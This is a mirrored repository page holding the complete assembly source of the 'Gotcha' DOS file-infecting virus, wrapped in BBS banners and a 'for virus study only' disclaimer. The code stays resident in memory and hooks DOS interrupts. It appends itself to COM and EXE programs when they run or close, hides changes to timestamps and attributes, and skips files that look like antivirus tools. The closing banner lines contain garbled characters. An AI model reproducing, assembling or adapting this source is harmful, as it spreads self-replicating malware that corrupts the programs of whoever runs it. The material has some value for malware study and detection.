mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
504 lines
18 KiB
NASM
504 lines
18 KiB
NASM
;****************************************************************************;
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; ;
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; -=][][][][][][][][][][][][][][][=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] [=- ;
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; -=] For All Your H/P/A/V Files [=- ;
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; -=] SysOp: Peter Venkman [=- ;
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; -=] [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=][][][][][][][][][][][][][][][=- ;
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; ;
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; *** NOT FOR GENERAL DISTRIBUTION *** ;
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; ;
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; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
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; Around Among the General Public. It Will be Very Useful for Learning how ;
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; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
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; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
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; Experience can Turn it Into a far More Malevolent Program Than it Already ;
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; Is. Keep This Code in Responsible Hands! ;
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; ;
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;****************************************************************************;
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;****************************************************************************
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;* Gotcha version 17
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;*
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;* Compile with MASM 4.0
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;* (other assemblers will probably not produce the same result)
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;*
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;* Disclaimer:
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;* This file is only for educational purposes. The author takes no
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;* responsibility for anything anyone does with this file. Do not
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;* modify this file!
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;****************************************************************************
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.RADIX 16
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cseg segment
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assume cs:cseg,ds:cseg,es:nothing
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VERSION equ 17d
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FILELEN equ end - start
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RESPAR equ (FILELEN/16d) + 18d
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BUFLEN equ 18
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ENVLEN equ signature- envstring
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COMSIGN equ 0
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EXESIGN equ 1
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;****************************************************************************
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;* Dummy program (infected)
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;****************************************************************************
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org 0100
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begin: db 0E9, BUFLEN+1, 0 ;jump to virus entry
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;****************************************************************************
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;* Data
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;****************************************************************************
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org 0103
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start:
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buffer db 0CDh, 20 ;original code
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db (BUFLEN-2) dup (?)
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comexe db COMSIGN ;dummy program is a COM program
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;****************************************************************************
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;* Install the virus
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;****************************************************************************
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call start2
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start2: pop si
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sub si,(BUFLEN+4) ;si = begin virus
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mov di,0100
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cld
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cmp byte ptr cs:[si+BUFLEN],COMSIGN
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jz entryC
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entryE: mov ax,ds ;calculate CS
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add ax,10
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add ax,cs:[si+16]
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push ax ;push new CS on stack
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push cs:[si+14] ;push new IP on stack
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jmp short entcheck
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entryC: push cs ;push new CS on stack
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push di ;push new IP on stack
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push di
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push si
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movsw ;restore old file-begin
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movsb
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pop si
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pop di
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entcheck: mov ax,0DADA ;already installed?
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int 21
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cmp ah,0A5
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je entstop
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mov ax,3000 ;test DOS version >= 3.1?
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int 21
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xchg ah,al
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cmp ax,030A
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jb entstop
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push ds
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push es
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mov ax,ds ;adjust memory-size
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0000],5A
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jnz cancel
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mov ax,ds:[0003]
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sub ax,low RESPAR
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jb cancel
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mov ds:[0003],ax
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sub word ptr ds:[0012],low RESPAR
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mov es,ds:[0012] ;copy program to top
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push cs
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pop ds
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mov cx,FILELEN
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rep movsb
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mov ds,cx ;get original int21 vector
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mov si,4*21
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movsw ;move it to the end
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movsw
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push es ;set vector to new handler
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pop ds
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mov dx,offset ni21-3
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mov ax,2521
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int 21
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cancel: pop es
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pop ds
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entstop: db 0CBh ;retf
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;****************************************************************************
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;* Interupt 24 handler
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;****************************************************************************
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ni24: mov al,3
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iret
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;****************************************************************************
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;* Interupt 21 handler
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;****************************************************************************
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ni21: pushf
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cmp ax,0DADA ;install-check ?
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je do_DADA
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push dx
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push cx
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push bx
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push ax
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push si
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push di
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push ds
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push es
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cmp ah,3E ;close ?
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jne vvv
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mov ah,45 ;duplicate handle
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jmp short doit
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vvv: cmp ax,4B00 ;execute ?
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jne exit
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mov ah,3Dh ;open the file
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doit: int 21
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jc exit
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xchg ax,bx
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call infect
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exit: pop es
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pop ds
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pop di
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pop si
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pop ax
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pop bx
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pop cx
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pop dx
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popf
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org21: jmp dword ptr cs:[oi21-3] ;call to old int-handler
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do_DADA: mov ax,0A500+VERSION ;return a signature
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popf
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iret
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;****************************************************************************
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;* Close the file
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;****************************************************************************
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close: mov ah,3E ;close the file
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pushf
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push cs
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call org21
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ret
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;****************************************************************************
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;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
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;****************************************************************************
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infect: cld
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push bx
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mov ah,62 ;get segment-adres of PSP
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int 21
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mov ds,bx ;get seg-adres of environment
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mov es,ds:[002C]
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xor di,di
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pop bx
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push cs
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pop ds
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envloop: mov si,offset envstring-3 ;check the environment
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mov cx,ENVLEN
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repz cmpsb
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jz close ;exit if item found
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dec di ;goto next item
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xor al,al
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mov ch,0FF
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repnz scasb
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cmp byte ptr es:[di],0 ;finnished environment?
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jnz envloop
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mov ax,3300 ;get ctrl-break flag
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int 21
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push dx
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cwd ;clear the flag
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inc ax
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push ax
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int 21
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mov dx,bx
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mov ax,3524 ;get int24 vector
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int 21
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push bx
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push es
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mov bx,dx
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push cs
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pop ds
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mov dx,offset ni24 ;set int24 vector
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mov ah,25
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push ax
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int 21
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mov ax,1220 ;get file-table entry
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push bx
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push ax
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int 2F
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mov bl,es:[di]
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pop ax
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sub al,0A
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int 2F
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pop bx
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push es
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pop ds
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push [di+2] ;save attribute & open-mode
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push [di+4]
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cmp word ptr [di+28],'XE' ;check extension
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jne not_exe
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cmp byte ptr [di+2A],'E'
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jmp short check
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not_exe: cmp word ptr [di+28],'OC'
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jne close1v
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cmp byte ptr [di+2A],'M'
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check: je check_name
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close1v: jmp close1
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check_name: cmp byte ptr [di+20],'V' ;name is V*.* ?
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je close1v
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cmp byte ptr [di+20],'F' ;name is F*.* ?
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je close1v
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mov cx,7 ;name is *SC*.* ?
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mov ax,'CS'
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push di
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add di,21
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SCloop: dec di
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scasw
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loopnz SCloop
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pop di
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je close1v
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mov byte ptr [di+2],2 ;open for read/write
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mov byte ptr [di+4],0 ;clear attributes
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call getlen
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mov cl,3
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sub ax,cx ;goto signature
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sbb dx,0
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call goto
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push ax ;save old offset
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push dx
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push cs
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pop ds
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mov si,0100 ;read signature
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mov dx,si
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mov ah,3F
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int 21
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cmp word ptr [si],'!A' ;already infected?
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je close2v
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call gotobegin
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mov cl,BUFLEN ;read begin
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mov dx,si
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mov ah,3F
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int 21
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cmp word ptr [si],5A4Dh ;EXE ?
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jz do_EXE
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cmp word ptr [si],4D5A
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jz do_EXE
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do_COM: mov byte ptr [si+BUFLEN],COMSIGN
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cmp byte ptr es:[di+12],0FC ;check length
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jnb close2
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cmp byte ptr es:[di+12],3
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jbe close2
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call writeprog ;write program to end of file
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jnz close2
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mov byte ptr [si],0E9h ;JMP xxxx'
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call getoldlen
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add ax,(BUFLEN-2)
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mov word ptr [si+1],ax
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jmp short done
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close2v: jmp short close2
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do_EXE: mov byte ptr [si+BUFLEN],EXESIGN
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call writeprog ;write program to end of file
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jnz close2
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call getlen ;calculate new length
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mov cx,0200 ;put new length in header
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div cx
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inc ax
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mov word ptr [si+4],ax
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mov word ptr [si+2],dx
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call getoldlen ;calculate new CS & IP
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mov cx,0010
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div cx
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sub ax,word ptr [si+8]
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mov word ptr [si+16],ax ;put CS in header
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add dx,BUFLEN+1
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mov word ptr [si+14],dx ;put IP in header
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done: call gotobegin
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mov cx,BUFLEN ;write new begin
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mov dx,si
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mov ah,40
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int 21
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close2: push es
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pop ds
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pop dx ;restore old offset in file
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pop ax
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call goto
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or byte ptr [di+6],40 ;no time-change
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close1: call close
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or byte ptr [di+5],40 ;no EOF on next close
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pop [di+4] ;restore attribute & open-mode
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pop [di+2]
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pop ax ;restore int24 vector
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pop ds
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pop dx
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int 21
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pop ax ;restore ctrl-break flag
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pop dx
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int 21
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ret
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;****************************************************************************
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;* Get original length of program
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;****************************************************************************
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getoldlen: call getlen
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sub ax,FILELEN
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sbb dx,0
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ret
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;****************************************************************************
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;* Get length of program
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;****************************************************************************
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getlen: mov ax,es:[di+11]
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mov dx,es:[di+13]
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ret
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;****************************************************************************
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;* Goto new offset DX:AX
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;****************************************************************************
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gotobegin: xor ax,ax
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cwd
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goto: xchg ax,es:[di+15]
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xchg dx,es:[di+17]
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ret
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;****************************************************************************
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;* Write virus to the file
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;****************************************************************************
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writeprog: call getlen
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call goto
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mov cx,FILELEN ;write virus
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mov dx,si
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mov ah,40
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int 21
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cmp cx,ax ;are all bytes written?
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ret
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;****************************************************************************
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;* Text and Signature
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;****************************************************************************
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envstring db 'E=mc<6D>',0
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signature: db 'GOTCHA!',0 ;I have got you! :-)
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oi21:
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end:
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cseg ends
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end begin
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;****************************************************************************;
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; ;
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; -=][][][][][][][][][][][][][][][=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] [=- ;
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; -=] For All Your H/P/A/V Files [=- ;
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||
; -=] SysOp: Peter Venkman [=- ;
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; -=] [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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||
; -=] P E R F E C T C R I M E [=- ;
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||
; -=][][][][][][][][][][][][][][][=- ;
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||
; ;
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; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
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; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
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||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
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